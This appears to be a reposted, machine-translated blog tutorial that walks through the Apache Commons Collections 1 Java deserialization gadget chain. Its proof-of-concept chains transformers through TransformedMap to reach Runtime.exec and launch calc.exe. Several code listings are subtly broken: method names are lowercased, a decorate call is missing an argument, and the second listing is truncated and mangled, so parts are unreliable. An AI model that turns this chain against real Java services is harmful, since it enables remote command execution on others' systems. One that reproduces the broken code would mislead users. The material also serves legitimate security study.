Common collections1 analysis of Java Security (1)

Common collections1 analysis of Java Security (1)

0x00 Preface

In the CC chain, the specific implementation process is still relatively complex. It is recommended that you first look at the basis of some pre knowledge before debugging.

Common collections1 analysis pre knowledge of Java Security

0x01 CC chain analysis

This is a PoC code. A calculator will pop up after execution.

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class test {

    public static void main(String[] args) throws Exception {
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),new InvokerTransformer("getmethod",new Class[] {String.class,Class[].class },new Object[] {"getRuntime",new Class[0] }),new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class },new Object[] {null,new Object[0] }),new InvokerTransformer("exec",new Class[] {String.class },new Object[] {"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value","value");
        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);

        //触发漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
        onlyElement.setValue("foobar");
    }
}

Each piece of code is analyzed below.

First, transformer is an interface. Constanttransformer and invokertransformer are implementation classes of transformer interface. Then, a question is raised here. Why can transformer be new when it is an interface? This is also a problem when I first saw this code.

Transformer[] transformers = new Transformer[]

Let's analyze constanttransformer first

Here, the constructor is used to pass in parameters, and the passed in parameters are runtime. When calling transform, we will return the passed in parameters. How to call this method will be described later.

Invokertransformer analysis

Make a debug and trace it to the invokertransformer class

Here, three parameters are passed in. The first is the method name, the second is the parameter type, and the third is the parameter value.

For clarity, the parameter values of each invokertransformer are listed below.

getmethod,getRuntime
invoke,null
exec,calc.exe

There is also a transform method, which is also an important point. However, this method will not be analyzed here, but will be analyzed later.

Chainedtransformer analysis

Let's look at the next code

Transformer transformerChain = new ChainedTransformer(transformers);

Pass the transformers array into the chainedtransformer constructor.

This constructor assigns values to the member variables of this class. If the transform method is called later, it will traverse the transformers array and call its transform one by one. What we need to do at this stage of analysis is when the transform of chainedtransformer will be called.

Official description:

将指定的转换器连接在一起的转化器实现。
    输入的对象将被传递到第一个转化器,转换结果将会输入到第二个转化器,并以此类推

In other words, the method will pass the first execution result to the parameters of the second execution.

You can see the incoming runtime here, so why is the incoming runtime? If you go back to the class constanttransformer, you can know that if you call the transform method, you will return this iConstant。 When defining an array, we use the construction method of constanttransformer to assign values.

 new ConstantTransformer(Runtime.class)

Therefore, the runtime class is passed in here.

During the first execution, the runtime has been passed into the parameter

The transform method here uses reflection.

 Class cls = input.getClass();
                Method method = cls.getmethod(getmethod,null);
                return method.invoke(input,getRuntime);

Reflection calls and returns the getruntime object.

The second pass in is runtime getRuntime

Class cls = input.getClass();
Method method = cls.getmethod(invoke,null);
return method.invoke(input,null);

The second return is the instantiated object of the runtime.

The third time, the instantiated object is passed into the method parameters,

 Class cls = input.getClass();
Method method = cls.getmethod("exec","calc.exe");

When such a command is executed, chainedtransformer is used to splice the transformer array.

通过ConstantTransformer得到Runtime.class,然后再InvokerTransformer反射得到getRuntime方法,然后通过反射执行invoke才能去调用getRuntime方法,这样得到一个Runtime对象,然后再去调用Runtime对象的exec方法去达到命令执行。

Then we will return to the question just now, how is chainedtransformer called?

Transformaedmap analysis

Let's look at his construction method first

The constructor assigns values to the passed map and transformer.

In the transformvalue method of transformedmap, you can see that this is called Valuetransformer. In the following code, he has been assigned a value

Map innerMap = new HashMap();
innerMap.put("value","value");
Map outerMap = TransformedMap.decorate(innerMap,transformerChain);

The transformedmap class cannot be directly new. It needs to use decorat to provide an instantiated object.

Here we already know that transformvalue can call the transform method, so let's see where transformvalue will be called.

In the put method, transformvalue is called, which causes transformvalue to call the transform method to execute the command.

   public static void main(String[] args) throws Exception {
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),new Object[] {"calc.exe"})
        };

       
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value","value");
        
        Map outerMap = TransformedMap.decorate(innerMap,transformerChain);
        outerMap.put("1","1");

0x02 end

Here we use the code to directly ask him to pop up a calculator, but in practical application, we need to convert the code into a serialized stream. In practice, we need to find ⼀ classes that read our serialized stream files in the deserialized readObject. When analyzing the chain, it is also messy. The next article will complete the debugging again.

The content of this article comes from the network collection of netizens. It is used as a learning reference. The copyright belongs to the original author.
THE END
分享
二维码
< <上一篇
下一篇>>